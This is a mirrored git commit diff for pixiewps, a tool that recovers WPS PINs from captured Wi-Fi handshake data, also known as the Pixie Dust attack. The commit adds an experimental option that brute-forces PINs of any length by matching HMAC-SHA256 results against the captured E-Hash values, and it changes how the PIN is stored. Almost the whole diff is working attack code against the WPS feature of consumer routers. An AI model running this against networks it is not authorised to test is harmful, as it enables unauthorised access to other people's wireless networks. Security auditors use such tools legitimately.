mirror of
https://github.com/wiire-a/pixiewps.git
synced 2025-07-27 07:44:36 +02:00
Add full-length brute-force
This commit is contained in:
parent
622b086572
commit
85413d0d6e
@ -64,6 +64,8 @@ Optional Arguments:
|
|||||||
-m, --r-nonce : Registrar nonce
|
-m, --r-nonce : Registrar nonce
|
||||||
-b, --e-bssid : Enrollee BSSID
|
-b, --e-bssid : Enrollee BSSID
|
||||||
-S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No]
|
-S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No]
|
||||||
|
-f, --force : Brute-force timestamp seed
|
||||||
|
-l, --length : Brute-force entire pin length (experimental)
|
||||||
-v, --verbosity : Verbosity level 1-3, 1 is quietest [3]
|
-v, --verbosity : Verbosity level 1-3, 1 is quietest [3]
|
||||||
-o, --output : Write output to file
|
-o, --output : Write output to file
|
||||||
|
|
||||||
|
119
src/pixiewps.c
119
src/pixiewps.c
@ -39,9 +39,9 @@
|
|||||||
uint32_t ecos_rand_simplest(uint32_t *seed);
|
uint32_t ecos_rand_simplest(uint32_t *seed);
|
||||||
uint32_t ecos_rand_simple(uint32_t *seed);
|
uint32_t ecos_rand_simple(uint32_t *seed);
|
||||||
uint32_t ecos_rand_knuth(uint32_t *seed);
|
uint32_t ecos_rand_knuth(uint32_t *seed);
|
||||||
uint_fast8_t crack(struct global *g, unsigned int *pin);
|
uint_fast8_t crack(struct global *g, char *pin);
|
||||||
|
|
||||||
static const char *option_string = "e:r:s:z:a:n:m:b:Sfo:v:Vh?";
|
static const char *option_string = "e:r:s:z:a:n:m:b:Sflo:v:Vh?";
|
||||||
static const struct option long_options[] = {
|
static const struct option long_options[] = {
|
||||||
{ "pke", required_argument, 0, 'e' },
|
{ "pke", required_argument, 0, 'e' },
|
||||||
{ "pkr", required_argument, 0, 'r' },
|
{ "pkr", required_argument, 0, 'r' },
|
||||||
@ -53,6 +53,7 @@ static const struct option long_options[] = {
|
|||||||
{ "e-bssid", required_argument, 0, 'b' },
|
{ "e-bssid", required_argument, 0, 'b' },
|
||||||
{ "dh-small", no_argument, 0, 'S' },
|
{ "dh-small", no_argument, 0, 'S' },
|
||||||
{ "force", no_argument, 0, 'f' },
|
{ "force", no_argument, 0, 'f' },
|
||||||
|
{ "length", no_argument, 0, 'l' },
|
||||||
{ "output", required_argument, 0, 'o' },
|
{ "output", required_argument, 0, 'o' },
|
||||||
{ "verbosity", required_argument, 0, 'v' },
|
{ "verbosity", required_argument, 0, 'v' },
|
||||||
{ "version", no_argument, 0, 'V' },
|
{ "version", no_argument, 0, 'V' },
|
||||||
@ -168,6 +169,9 @@ memory_err:
|
|||||||
case 'f':
|
case 'f':
|
||||||
wps->bruteforce = 1;
|
wps->bruteforce = 1;
|
||||||
break;
|
break;
|
||||||
|
case 'l':
|
||||||
|
wps->anylength = 1;
|
||||||
|
break;
|
||||||
case 'o':
|
case 'o':
|
||||||
if (!freopen(optarg, "w", stdout))
|
if (!freopen(optarg, "w", stdout))
|
||||||
{
|
{
|
||||||
@ -470,10 +474,12 @@ usage_err:
|
|||||||
|
|
||||||
uint_fast8_t k = 0;
|
uint_fast8_t k = 0;
|
||||||
uint_fast8_t found_p_mode = NONE;
|
uint_fast8_t found_p_mode = NONE;
|
||||||
unsigned int pin;
|
char *pin;
|
||||||
uint32_t seed;
|
uint32_t seed;
|
||||||
uint32_t print_seed = 0;
|
uint32_t print_seed = 0;
|
||||||
|
|
||||||
|
pin = calloc(WPS_PIN_LEN + 1, 1); if (!pin) goto memory_err;
|
||||||
|
|
||||||
/* Main loop */
|
/* Main loop */
|
||||||
while (!found_p_mode && p_mode[k] != NONE && k < MODE_LEN) {
|
while (!found_p_mode && p_mode[k] != NONE && k < MODE_LEN) {
|
||||||
|
|
||||||
@ -486,7 +492,7 @@ usage_err:
|
|||||||
DEBUG_PRINT("Trying with E-S2: ");
|
DEBUG_PRINT("Trying with E-S2: ");
|
||||||
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
||||||
|
|
||||||
uint_fast8_t r = crack(wps, &pin);
|
uint_fast8_t r = crack(wps, pin);
|
||||||
if (r == PIN_FOUND) {
|
if (r == PIN_FOUND) {
|
||||||
found_p_mode = RT;
|
found_p_mode = RT;
|
||||||
DEBUG_PRINT("Pin found");
|
DEBUG_PRINT("Pin found");
|
||||||
@ -529,7 +535,7 @@ usage_err:
|
|||||||
DEBUG_PRINT("Trying with E-S2: ");
|
DEBUG_PRINT("Trying with E-S2: ");
|
||||||
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
||||||
|
|
||||||
uint_fast8_t r = crack(wps, &pin);
|
uint_fast8_t r = crack(wps, pin);
|
||||||
if (r == PIN_FOUND) {
|
if (r == PIN_FOUND) {
|
||||||
found_p_mode = ECOS_SIMPLE;
|
found_p_mode = ECOS_SIMPLE;
|
||||||
DEBUG_PRINT("Pin found");
|
DEBUG_PRINT("Pin found");
|
||||||
@ -552,7 +558,7 @@ usage_err:
|
|||||||
DEBUG_PRINT("Trying with E-S2: ");
|
DEBUG_PRINT("Trying with E-S2: ");
|
||||||
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
||||||
|
|
||||||
uint_fast8_t r = crack(wps, &pin);
|
uint_fast8_t r = crack(wps, pin);
|
||||||
if (r == PIN_FOUND) {
|
if (r == PIN_FOUND) {
|
||||||
found_p_mode = RTL819x;
|
found_p_mode = RTL819x;
|
||||||
DEBUG_PRINT("Pin found");
|
DEBUG_PRINT("Pin found");
|
||||||
@ -650,7 +656,7 @@ usage_err:
|
|||||||
DEBUG_PRINT("Trying with E-S2: ");
|
DEBUG_PRINT("Trying with E-S2: ");
|
||||||
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
||||||
|
|
||||||
uint_fast8_t r = crack(wps, &pin);
|
uint_fast8_t r = crack(wps, pin);
|
||||||
if (r == PIN_FOUND) {
|
if (r == PIN_FOUND) {
|
||||||
found_p_mode = RTL819x;
|
found_p_mode = RTL819x;
|
||||||
DEBUG_PRINT("Pin found");
|
DEBUG_PRINT("Pin found");
|
||||||
@ -668,7 +674,7 @@ usage_err:
|
|||||||
DEBUG_PRINT("Trying with E-S2: ");
|
DEBUG_PRINT("Trying with E-S2: ");
|
||||||
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
||||||
|
|
||||||
uint_fast8_t r2 = crack(wps, &pin);
|
uint_fast8_t r2 = crack(wps, pin);
|
||||||
if (r2 == PIN_FOUND) {
|
if (r2 == PIN_FOUND) {
|
||||||
found_p_mode = RTL819x;
|
found_p_mode = RTL819x;
|
||||||
DEBUG_PRINT("Pin found");
|
DEBUG_PRINT("Pin found");
|
||||||
@ -731,7 +737,7 @@ usage_err:
|
|||||||
DEBUG_PRINT("Trying with E-S2: ");
|
DEBUG_PRINT("Trying with E-S2: ");
|
||||||
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
||||||
|
|
||||||
uint_fast8_t r = crack(wps, &pin);
|
uint_fast8_t r = crack(wps, pin);
|
||||||
if (r == PIN_FOUND) {
|
if (r == PIN_FOUND) {
|
||||||
found_p_mode = ECOS_SIMPLEST;
|
found_p_mode = ECOS_SIMPLEST;
|
||||||
DEBUG_PRINT("Pin found");
|
DEBUG_PRINT("Pin found");
|
||||||
@ -775,7 +781,7 @@ usage_err:
|
|||||||
DEBUG_PRINT("Trying with E-S2: ");
|
DEBUG_PRINT("Trying with E-S2: ");
|
||||||
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
||||||
|
|
||||||
uint_fast8_t r = crack(wps, &pin);
|
uint_fast8_t r = crack(wps, pin);
|
||||||
if (r == PIN_FOUND) {
|
if (r == PIN_FOUND) {
|
||||||
found_p_mode = ECOS_KNUTH;
|
found_p_mode = ECOS_KNUTH;
|
||||||
DEBUG_PRINT("Pin found");
|
DEBUG_PRINT("Pin found");
|
||||||
@ -838,10 +844,10 @@ usage_err:
|
|||||||
printf("\n [*] E-S1: "); byte_array_print(wps->e_s1, WPS_SECRET_NONCE_LEN);
|
printf("\n [*] E-S1: "); byte_array_print(wps->e_s1, WPS_SECRET_NONCE_LEN);
|
||||||
printf("\n [*] E-S2: "); byte_array_print(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
printf("\n [*] E-S2: "); byte_array_print(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
||||||
}
|
}
|
||||||
if (pin == EMPTY_PIN) {
|
if (strlen(pin) == 0) {
|
||||||
printf("\n [+] WPS pin: <empty>");
|
printf("\n [+] WPS pin: <empty>");
|
||||||
} else {
|
} else {
|
||||||
printf("\n [+] WPS pin: %08u", pin);
|
printf("\n [+] WPS pin: %s", pin);
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
printf("\n [-] WPS pin not found!");
|
printf("\n [-] WPS pin not found!");
|
||||||
@ -853,6 +859,7 @@ usage_err:
|
|||||||
free(wps->warning);
|
free(wps->warning);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
free(pin);
|
||||||
free(wps->pke);
|
free(wps->pke);
|
||||||
free(wps->pkr);
|
free(wps->pkr);
|
||||||
free(wps->e_hash1);
|
free(wps->e_hash1);
|
||||||
@ -915,12 +922,23 @@ uint32_t ecos_rand_knuth(uint32_t *seed) {
|
|||||||
return *seed;
|
return *seed;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* Simple power function */
|
||||||
|
int int_pow(int a, int exp) {
|
||||||
|
if (exp <= 0) return 1;
|
||||||
|
int r = a;
|
||||||
|
|
||||||
|
while (--exp) r *= a;
|
||||||
|
return r;
|
||||||
|
}
|
||||||
|
|
||||||
/* PIN cracking attempt */
|
/* PIN cracking attempt */
|
||||||
uint_fast8_t crack(struct global *g, unsigned int *pin) {
|
uint_fast8_t crack(struct global *g, char *pin) {
|
||||||
struct global *wps = g;
|
struct global *wps = g;
|
||||||
|
unsigned int i, j, count;
|
||||||
unsigned int first_half = 0;
|
unsigned int first_half = 0;
|
||||||
unsigned int second_half = 0;
|
unsigned int second_half = 0;
|
||||||
uint8_t s_pin[4];
|
uint8_t s_pin[4];
|
||||||
|
char mask[5];
|
||||||
uint_fast8_t found = 0;
|
uint_fast8_t found = 0;
|
||||||
|
|
||||||
uint8_t *buffer = malloc(WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN * 2);
|
uint8_t *buffer = malloc(WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN * 2);
|
||||||
@ -931,6 +949,77 @@ uint_fast8_t crack(struct global *g, unsigned int *pin) {
|
|||||||
if (!result)
|
if (!result)
|
||||||
return MEM_ERROR;
|
return MEM_ERROR;
|
||||||
|
|
||||||
|
if (wps->anylength) {
|
||||||
|
/* Brute-force entire pin space */
|
||||||
|
for (i = 0; i < 5; i++)
|
||||||
|
{
|
||||||
|
first_half = 0;
|
||||||
|
count = int_pow(10, i);
|
||||||
|
|
||||||
|
while (first_half < count) {
|
||||||
|
uint_to_char_array(first_half, i, s_pin);
|
||||||
|
hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, s_pin, i, wps->psk1);
|
||||||
|
memcpy(buffer, wps->e_s1, WPS_SECRET_NONCE_LEN);
|
||||||
|
memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk1, WPS_PSK_LEN);
|
||||||
|
memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PKEY_LEN);
|
||||||
|
memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN, wps->pkr, WPS_PKEY_LEN);
|
||||||
|
hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer,
|
||||||
|
WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN * 2, result);
|
||||||
|
|
||||||
|
if (memcmp(result, wps->e_hash1, WPS_HASH_LEN)) {
|
||||||
|
first_half++;
|
||||||
|
} else {
|
||||||
|
if (i == 0)
|
||||||
|
{
|
||||||
|
snprintf(pin, WPS_PIN_LEN + 1, "");
|
||||||
|
} else {
|
||||||
|
snprintf((char *)&mask, 5, "%%0%uu", i);
|
||||||
|
snprintf(pin, WPS_PIN_LEN / 2 + 1, mask, first_half);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (first_half < count) {
|
||||||
|
for (j = 0; j < 5; j++)
|
||||||
|
{
|
||||||
|
second_half = 0;
|
||||||
|
count = int_pow(10, j);
|
||||||
|
|
||||||
|
while (second_half < count) {
|
||||||
|
uint_to_char_array(second_half, j, s_pin);
|
||||||
|
hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, s_pin, j, wps->psk2);
|
||||||
|
memcpy(buffer, wps->e_s2, WPS_SECRET_NONCE_LEN);
|
||||||
|
memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk2, WPS_PSK_LEN);
|
||||||
|
memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PKEY_LEN);
|
||||||
|
memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN, wps->pkr, WPS_PKEY_LEN);
|
||||||
|
hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer,
|
||||||
|
WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN * 2, result);
|
||||||
|
|
||||||
|
if (memcmp(result, wps->e_hash2, WPS_HASH_LEN)) {
|
||||||
|
second_half++;
|
||||||
|
} else {
|
||||||
|
if (j > 0)
|
||||||
|
{
|
||||||
|
snprintf((char *)&mask, 5, "%%0%uu", j);
|
||||||
|
snprintf(pin + WPS_PIN_LEN / 2, WPS_PIN_LEN / 2 + 1, mask, second_half);
|
||||||
|
}
|
||||||
|
/* Second half found */
|
||||||
|
found = 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
/* First half found, but not second */
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
free(buffer);
|
||||||
|
free(result);
|
||||||
|
|
||||||
|
return !found;
|
||||||
|
}
|
||||||
|
|
||||||
/* Check for empty pin (length = 0) */
|
/* Check for empty pin (length = 0) */
|
||||||
hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, NULL, 0, wps->psk1);
|
hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, NULL, 0, wps->psk1);
|
||||||
memcpy(buffer, wps->e_s1, WPS_SECRET_NONCE_LEN);
|
memcpy(buffer, wps->e_s1, WPS_SECRET_NONCE_LEN);
|
||||||
@ -955,7 +1044,7 @@ uint_fast8_t crack(struct global *g, unsigned int *pin) {
|
|||||||
free(buffer);
|
free(buffer);
|
||||||
free(result);
|
free(result);
|
||||||
|
|
||||||
*pin = EMPTY_PIN;
|
snprintf(pin, WPS_PIN_LEN + 1, "");
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -1038,6 +1127,6 @@ uint_fast8_t crack(struct global *g, unsigned int *pin) {
|
|||||||
free(buffer);
|
free(buffer);
|
||||||
free(result);
|
free(result);
|
||||||
|
|
||||||
*pin = first_half * 10000 + second_half;
|
snprintf(pin, WPS_PIN_LEN + 1, "%08u", first_half * 10000 + second_half);
|
||||||
return !found; /* 0 success, 1 failure */
|
return !found; /* 0 success, 1 failure */
|
||||||
}
|
}
|
||||||
|
@ -41,8 +41,6 @@
|
|||||||
#define MEM_ERROR 2
|
#define MEM_ERROR 2
|
||||||
#define ARG_ERROR 3
|
#define ARG_ERROR 3
|
||||||
|
|
||||||
#define EMPTY_PIN 999999999
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <time.h>
|
#include <time.h>
|
||||||
@ -105,6 +103,7 @@ struct global {
|
|||||||
uint8_t small_dh_keys;
|
uint8_t small_dh_keys;
|
||||||
uint8_t mode_auto;
|
uint8_t mode_auto;
|
||||||
uint8_t bruteforce;
|
uint8_t bruteforce;
|
||||||
|
uint8_t anylength;
|
||||||
int verbosity;
|
int verbosity;
|
||||||
char *error;
|
char *error;
|
||||||
char *warning;
|
char *warning;
|
||||||
@ -131,6 +130,8 @@ char usage[] =
|
|||||||
" -m, --r-nonce : Registrar nonce\n"
|
" -m, --r-nonce : Registrar nonce\n"
|
||||||
" -b, --e-bssid : Enrollee BSSID\n"
|
" -b, --e-bssid : Enrollee BSSID\n"
|
||||||
" -S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No]\n"
|
" -S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No]\n"
|
||||||
|
" -f, --force : Brute-force timestamp seed\n"
|
||||||
|
" -l, --length : Brute-force entire pin length (experimental)\n"
|
||||||
" -v, --verbosity : Verbosity level 1-3, 1 is quietest [3]\n"
|
" -v, --verbosity : Verbosity level 1-3, 1 is quietest [3]\n"
|
||||||
" -o, --output : Write output to file\n"
|
" -o, --output : Write output to file\n"
|
||||||
"\n"
|
"\n"
|
||||||
|
Loading…
x
Reference in New Issue
Block a user